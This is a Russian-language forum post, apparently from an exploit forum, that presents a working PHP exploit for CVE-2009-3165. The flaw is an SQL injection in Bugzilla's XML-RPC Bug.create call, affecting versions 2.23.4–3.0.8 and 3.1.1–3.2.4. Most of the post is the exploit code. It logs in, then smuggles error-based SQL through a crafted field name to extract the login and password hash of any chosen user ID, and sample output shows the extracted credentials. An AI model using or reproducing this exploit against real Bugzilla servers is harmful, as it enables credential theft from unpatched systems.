Регистрация: 11.07.2010
Сообщений: 954
|
SQL Injection
Уязвимые версии:
2.23.4 - 3.0.8
3.1.1 - 3.2.4
В версиях 2.23.4 -- 3.0.8 и 3.1.1 -- 3.2.4 в сентябре 2009 была обнаружена SQL инъекция в компоненте WebService (АПИ Багзиллы через xmlrpc.cgi).
И хотя, как и отмечено в advisory, эксплуатация сильно затруднена в силу случайного местоположения инъекции в итоговом запросе к БД, приведенный ниже скрипт стабильно выдает логин и пароль для произвольного userid из БД.
Информация об уязвимости: http://www.bugzilla.org/security/3.0.8/
CVE: CVE-2009-3165
В этой же advisory приведена информация о подобной, но более простой, инъекции в версиях 3.3.1 -- 3.4.1, она мною не рассмотрена.
Для работы необходим установленный модуль php5-xmlrpc.
Пример работа скрипта:
Цитата:
$ php bugzilla-xml.php
1:asd@asd.com:MakhTnrRosOBY
|
Пример работа скрипта с подробным выводом:
Цитата:
$ php bugzilla-xml.php
PHP Notice: xmlrpc: DBD::mysql::db do failed: Duplicate entry 'asd@asd.com1' for key 'group_key' [for Statement "INSERT INTO bugs (priority, short_desc) values (2/*,1,1,1,1,1,1,1,1*/,(select 1 from(select count(*),concat((select concat(substring(login_name,1,5),substring(login_n ame,6,50)) from profiles where userid=1),floor(rand(0)*2))x from information_schema.tables group by x)a))-- ', reporter, keywords, product_id, rep_platform, assigned_to, qa_contact, everconfirmed, short_desc, bug_severity, bug_status, delta_ts, version, component_id, target_milestone, op_sys) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"] at Bugzilla/Object.pm line 418
...
PHP Notice: xmlrpc: DBD::mysql::db do failed: Duplicate entry 'MakhTnrRosOBY1' for key 'group_key' [for Statement "INSERT INTO bugs (priority, reporter, keywords, product_id, rep_platform, assigned_to, qa_contact, everconfirmed, short_desc, short_desc) values (2/*,1,1,1,1,1,1,1,1*/,(select 1 from(select count(*),concat((select cryptpassword from profiles where userid=...
|
PHP код:
<?
/*
Script for Bugzilla 2.23.4 -- 3.0.8, 3.1.1 -- 3.2.4 SQL Injection in Bug.create via xmlrpc.cgi
Author: SynQ, rdot.org, 04/2011
Advisory: http://www.bugzilla.org/security/3.0.8/
CVE: CVE-2009-3165
Tested on v3.2rc1
From advisory:
This particular hole is much more difficult to exploit
than the Bug.search one, due to the fact that the SQL
around the insertion point is highly random, making it
difficult for an attacker to craft a successful attack.
That's true, though I've managed to craft the query (see the code)
that works stable on my particular machine, you might face a trouble.
If you did or want to edit the exploit, the function that randomizes
insert point of INSERT SQL inj is in /Bugzilla/Bug.pm's run_create_validators().
Heavily based on code by Yuri Timofeev
*/
$URL='http://localhost/cgi-bin/bugzilla-3.2rc1/xmlrpc.cgi';
$login='asd@asd.com';
$pass='qwerty';
$userid=1; // user id, which password hash you're looking for
error_reporting(E_ALL);
$xml_data = array(
'login' => $login,
'password' => $pass,
'remember' => 1
);
$file_cookie = tempnam('', 'bugzilla-cookie');
$options = array(
//CURLOPT_VERBOSE => true,
CURLOPT_URL => $URL,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => array( 'Content-Type: text/xml', 'charset=utf-8' )
);
//------ Login and receive bugzillas cookies
$ch = curl_init();
curl_setopt_array($ch, $options);
$request = xmlrpc_encode_request("User.login", $xml_data); // see also http://www.bugzilla.org/docs/3.2/en/html/api/Bugzilla/WebService/User.html
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
curl_setopt($ch, CURLOPT_COOKIEJAR, $file_cookie);
/* Returns: On success, a hash containing one item, id, the numeric id of the user that was logged in.
A set of http cookies is also sent with the response.
These cookies must be sent along with any future requests to the webservice, for the duration of the session. */
$server_output = curl_exec($ch); // Array( [id] => 1 ) for example
$response = xmlrpc_decode($server_output);
if (empty($response['id']))
trigger_error("xmlrpc: $response[faultString] ($response[faultCode])");
curl_close($ch);
$i=2;
$creds=$userid;
while($i--){
//------ Login (send cookies) and get bugs info
$ch = curl_init();
curl_setopt_array($ch, $options);
//$xml_data['ids'] = $bug_ids;
//$request = xmlrpc_encode_request("Bug.get", $xml_data); // see also http://www.bugzilla.org/docs/3.2/en/html/api/Bugzilla/WebService/Bug.html
$xml_data="";
$xml_data['product']="TestProduct";
$xml_data['component']="TestComponent";
$xml_data['version']="unspecified";
$xml_data['bug_severity']="enhancement";
$xml_data['rep_platform']="PC";
$xml_data['op_sys']="Linux";
$xml_data['priority']="P5";
$xml_data['bug_status']="NEW";
$xml_data['assigned_to']=$login;
$xml_data['short_desc']="2";
if($i)
$xml_data["short_desc) values (2/*,1,1,1,1,1,1,1,1*/,(select 1 from(select count(*),concat((select concat(substring(login_name,1,5),substring(login_name,6,50)) from profiles where userid=$userid),floor(rand(0)*2))x from information_schema.tables group by x)a))-- '"]="23";
else
$xml_data["short_desc) values (2/*,1,1,1,1,1,1,1,1*/,(select 1 from(select count(*),concat((select cryptpassword from profiles where userid=$userid),floor(rand(0)*2))x from information_schema.tables group by x)a))-- '"]="23";
$request = xmlrpc_encode_request("Bug.create", $xml_data);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
curl_setopt($ch, CURLOPT_COOKIEFILE, $file_cookie);
$server_output = curl_exec($ch);
curl_close($ch);
$response = xmlrpc_decode($server_output);
preg_match("/Duplicate entry \'(.+)\' for key/m", $response['faultString'], $name);
//print_r($name);
$creds.=":".substr($name[1],0,strlen($name[1])-1);
/* raskommentite 4toby uvidet' syroi otvet
if (xmlrpc_is_fault($response))
trigger_error("xmlrpc: $response[faultString] ($response[faultCode])");
else
print_r($response);
*/
}
echo $creds."\n";
unlink($file_cookie);
?>
Последний раз редактировалось SynQ; 04.04.2011 в 16:32..
|
Линейный вид
